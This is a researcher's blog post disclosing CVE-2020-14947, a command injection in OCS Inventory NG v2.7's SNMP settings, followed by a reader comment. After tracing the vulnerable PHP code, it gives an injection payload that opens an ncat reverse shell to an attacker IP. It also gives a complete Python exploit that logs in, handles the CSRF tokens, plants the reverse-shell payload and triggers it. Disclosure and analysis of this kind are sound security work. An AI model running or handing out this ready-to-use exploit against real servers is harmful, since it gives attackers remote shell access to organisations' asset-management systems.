OCS Inventory NG v2.7 Remote Command Execution (CVE-2020-14947)

Estimated Reading Time: 7 minutes

Summary of OCS Inventory NG

Open Computer and Software Inventory Next Generation is free software that enables users to inventory IT assets. OCS-NG collects information about the hardware and software of networked machines running the OCS client program. OCS can visualize the inventory through a web interface.

About the exploit

I found this vulnerability by analyzing a couple of functions inside the core of OCS software, these functions are responsible for handling SNMP settings, and by controlling the unfiltered “SNMP_MIB_DIRECTORY” that will be passed to shell_exec function after being concatenated with some other string.

An authenticated user can set this option and store any value inside it without being filtered, which means again that I can control this value and inject a malicious command inside it.

After injecting the malicious command inside the “SNMP_MIB_DIRECTORY” value, we need to trigger the payload by visiting another page that calls the value to perform actions with the SNMP_MIB file which will execute the malicious command later on.

And as usual, I started my analysis with my super simple RCEScanner to hunt for any potential RCEs in OCS.

After running the script, I got the following results:

And after taking a look at the CommandLine.php file, I got the following:

    public function get_mib_oid($file) {
        $oids = [];

        $champs = array('SNMP_MIB_DIRECTORY' => 'SNMP_MIB_DIRECTORY');
        $values = look_config_default_values($champs);
        $cmd = "snmptranslate -Tz -m ".$values['tvalue']['SNMP_MIB_DIRECTORY']."/".$file;
        $result_cmd = shell_exec($cmd);
        $result_cmd = preg_split("/\r\n|\n|\r/", $result_cmd);
        $result_cmd = str_replace('"', "", $result_cmd);

        foreach ($result_cmd as $label => $oid) {
            $split = preg_split('/\t/', $oid, null, PREG_SPLIT_NO_EMPTY);
            if($split[0] != "") {
                $oids[$split[0]] = $split[1]; 
            } 
        }
        return $oids;
    }

As we can see, we have a function called “get_mid_oid” that takes one parameter called “$file”, and there is no filter inside this function, Also we can see that there is a variable called $values is passed to shell_exec directly after being processed by a function called “look_config_default_values()”.

If we controlled one of the variables and there was no filtering, we will be able to inject our command.

And after analyzing look_config_default_values function in require/function_commun.php, we found the following code:

function look_config_default_values($field_name, $like = '', $default_values = '') {
    if ($like == '') {
        $sql = "select NAME,IVALUE,TVALUE,COMMENTS from config where NAME in ";
        $arg_sql = array();
        $arg = mysql2_prepare($sql, $arg_sql, $field_name);
    } else {
        $arg['SQL'] = "select NAME,IVALUE,TVALUE,COMMENTS from config where NAME like '%s'";
        $arg['ARG'] = $field_name;
    }
    $resdefaultvalues = mysql2_query_secure($arg['SQL'], $_SESSION['OCS']["readServer"], $arg['ARG']);
    while ($item = mysqli_fetch_object($resdefaultvalues)) {
        $result['name'][$item->NAME] = $item->NAME;
        $result['ivalue'][$item->NAME] = $item->IVALUE;
        $result['tvalue'][$item->NAME] = $item->TVALUE;
        $result['comments'][$item->NAME] = $item->COMMENTS;
    }

    if (is_array($default_values)) {
        foreach ($default_values as $key => $value) {
            $key = strtolower($key);
            if (is_array($value)) {
                foreach ($value as $name => $val) {
                    if (!is_defined($result[$key][$name])) {
                        $result[$key][$name] = $val;
                    }
                }
            }
        }
    }

    return $result;
}

This function will simply query some data (settings) from the database and return the results, nothing too interesting for us, but we know now how the settings are extracted from the database without filtering.

Now we need to know where we can find the function “get_mib_oid()” inside the application core in the file ms_snmp_config.php which has the following code:

    if(isset($protectedPost['SUP_PROF']) && $protectedPost['SUP_PROF'] != ""){
        // Remove config
        $result_remove = $snmp->delete_config($protectedPost['SUP_PROF']);
        unset($protectedPost['SUP_PROF']);
        if($result_remove == true){
            msg_success($l->g(572));
        }else{
            msg_error($l->g(573));
        }
    }

    if(isset($protectedPost['update_snmp'])) {
        $result_oids = $command->get_mib_oid($protectedPost['mib_file']);

        $protectedPost['select_mib'] = true;
        unset($protectedPost['update_snmp']);
    }

This code is located in “plugins/main_sections/ms_config/ms_snmp_config.php” and as we can see it calls the function “get_mib_oid” and pass “$protectedPost[‘mib_file’]” as an argument.

This code will check if the value “update_snmp” is in the ProtectedPost array, and if it’s existed, it will pass the value of “$protectedPost[‘mib_file’]” to our vulnerable function, as $file parameter as we saw in the previous code, and after that, it will get the output of the function “look_config_default_values” as $value variable.

Now if we can control the value of $protectedPost[‘mib_file’] or the value of $values[‘tvalue’][‘SNMP_MIB_DIRECTORY’] we will able to achieve code execution by injecting our malicious code inside it, but we need to understand how the inputs are handled and we need to check if there is no filter will be applied on them.

After further analysis, I found that the $protectedPost array is declared in header.php file like the following:

//SECURITY
$protectedPost = strip_tags_array($_POST);
$protectedGet = strip_tags_array($_GET);

These lines will handle any incoming GET requests and save it in a “$protectedGet” array after removing any tags from it using “strip_tags_array”, also it will do the same with POST requests and save them to “$protectedPost” array.

Also, we can see that there is no filtration on the requests to avoid any malicious command injection payloads, which means we can inject our payload in the variable that we need to control which is “$protectedPost[‘mib_file’]”.

But to confirm that no extra filtration will happen, we need to analyze the function strip_tags_array() in “require/function_commun.php” to get the following:

function strip_tags_array($value = '') {
    if (is_object($value)) {
        $value = get_class($value);
        $value = strip_tags($value, "<p><b><i><font><br><center>");
        $value = "Objet de la classe " . $value;
        return $value;
    }

    $value = is_array($value) ? array_map('strip_tags_array', $value) : strip_tags($value, "<p><b><i><font><br><center>");

    if(!is_array($value)){
      $value = htmlspecialchars($value, ENT_QUOTES);
    }

    return $value;
}

From this code, we can see that the function will only filter some tags from the input and return the output after filtering.

Now we know that there is a POST request in the application that will be sent and added to the $protectedPost array after being passed to strip_tags_array, now we just need where to send it to get this value saved.

After some digging in the application, I found that we can control the value of “$values[‘tvalue’][‘SNMP_MIB_DIRECTORY’]” by setting the option of that using the following page:

And we can see the following when we intercept the request:

After submitting the value, we can see that it’s updated now:

Now, based on our analysis, if we triggered the function “get_mib_oid” it will call the value “$values[‘tvalue’][‘SNMP_MIB_DIRECTORY’]”, which will be “Our Payload” in our case, now to verify that, we will add a debugging statement line that will echo the submitted value “Our Payload”.

The edit will be in “CommandLine.php” file like the following:

After some digging in the application, I found that we can trigger the function using this page:

After clicking on Send, we will have the following request:

Excellent, we have the value “update_snmp” submitted, which means it will enter the condition in the following code again:

    if(isset($protectedPost['SUP_PROF']) && $protectedPost['SUP_PROF'] != ""){
        // Remove config
        $result_remove = $snmp->delete_config($protectedPost['SUP_PROF']);
        unset($protectedPost['SUP_PROF']);
        if($result_remove == true){
            msg_success($l->g(572));
        }else{
            msg_error($l->g(573));
        }
    }

    if(isset($protectedPost['update_snmp'])) {
        $result_oids = $command->get_mib_oid($protectedPost['mib_file']);

        $protectedPost['select_mib'] = true;
        unset($protectedPost['update_snmp']);
    }

And we can see the value that we submitted is printed on the page:

Perfect! we can now inject our payload to get executed.

Payload Writing

After submitting our payload, it will be concatenated with some other string, and based on the get_mib_oid function, it will be like the following:

snmptranslate -Tz -m Our Payload!/

So to escape that, we need to change Our Payload to be like the following:

; Our Payload #

And we can replace “Our Payload” with a netcat reverse shell to be like the following:

; ncat -e /bin/bash 172.16.147.1 1337 #

As usual, we used “;” to escape the command and “#” comment out anything after the string.

Now let’s inject our payload then trigger it and check our Netcat listener:

And now we need to trigger it by visiting this page

http://172.16.147.129/ocsreports/index.php?function=SNMP_config

As we did before to get the following request:

And after submitting it, we will get the following on NetCat:

Excellent! We popped a shell!

Exploit Writing

After exploiting this vulnerability, I had to write an exploit to automate the exploitation process, I have to say that I had a lot of fun while writing this exploit, because I have to deal with a lot of CSRF token, forms, and some other requests.

As usual, I used python to write the exploit, and this is the final exploit code:

#!/usr/bin/python3

# Exploit Title: OCS Inventory NG v2.7 Remote Code Execution
# Date: 06/05/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-14947
# Vendor Homepage: https://ocsinventory-ng.org/
# Version: v2.7
# Tested on: Ubuntu 18.04 / PHP 7.2.24

import requests
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
    print("[~] Usage : ./ocsng-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()


def login():
    login_info = {
    "Valid_CNX": "Send",
    "LOGIN": username,
    "PASSWD": password
    }
    login_request = request.post(url+"/index.php", login_info)
    login_text = login_request.text
    if "User not registered" in login_text:
        return False
    else:
        return True


def inject_payload():
    csrf_req = request.get(url+"/index.php?function=admin_conf")
    content = csrf_req.text
    soup = BeautifulSoup(content, "lxml")
    first_token = soup.find_all("input", id="CSRF_10")[0].get("value")
    print("[+] 1st token : %s" % first_token)
    first_data = {
    "CSRF_10": first_token,
    "onglet": "SNMP",
    "old_onglet": "INVENTORY"
    }
    req = request.post(url+"/index.php?function=admin_conf", data=first_data)
    content2 = req.text
    soup2 = BeautifulSoup(content2, "lxml")
    second_token = soup2.find_all("input", id="CSRF_14")[0].get("value")
    print("[+] 2nd token : %s" % second_token)
    payload = "; ncat -e /bin/bash %s %s #" % (ip, port)
    #RELOAD_CONF=&Valid=Update
    inject_request = {
    "CSRF_14": second_token,
    "onglet": "SNMP",
    "old_onglet": "SNMP",
    "SNMP": "0",
    "SNMP_INVENTORY_DIFF": "1",
    # The payload should be here
    "SNMP_MIB_DIRECTORY": payload,
    "RELOAD_CONF": "",
    "Valid": "Update"
    }
    final_req = request.post(url+"/index.php?function=admin_conf", data=inject_request)
    if "Update done" in final_req.text:
        print("[+] Payload injected successfully")
        execute_payload()


def execute_payload():
    csrf_req = request.get(url+"/index.php?function=SNMP_config")
    content = csrf_req.text
    soup = BeautifulSoup(content, "lxml")
    third_token = soup.find_all("input", id="CSRF_22")[0].get("value")
    third_request = request.post(url+"/index.php?function=SNMP_config", files={
    'CSRF_22': (None, third_token),
    'onglet': (None, 'SNMP_MIB'),
    'old_onglet': (None, 'SNMP_RULE'),
    'snmp_config_length': (None, '10')
    })
    print("[+] 3rd token : %s" % third_token)
    third_request_text = third_request.text
    soup = BeautifulSoup(third_request_text, "lxml")
    forth_token = soup.find_all("input", id="CSRF_26")[0].get("value")
    print("[+] 4th token : %s" % forth_token)
    print("[+] Triggering payload ..")
    print("[+] Check your nc ;)")
    forth_request = request.post(url+"/index.php?function=SNMP_config", files={
    'CSRF_26': (None, forth_token),
    'onglet': (None, 'SNMP_MIB'),
    'old_onglet': (None, 'SNMP_MIB'),
    'update_snmp': (None, 'send')
    })



if login():
    print("[+] Valid credentials!")
    inject_payload()

And after running the exploit, we will get the following:

We popped a shell again!

3 Replies to “OCS Inventory NG v2.7 Remote Command Execution (CVE-2020-14947)”

  1. Hi man,
    First, nice work on there.
    Would you have the version of OCS that I can create a lab and reproduce this vuln? I’ve tried download the 2.7 version from official github and reproduce these steps without success.

    Thank you very much.

Leave a Reply

Your email address will not be published. Required fields are marked *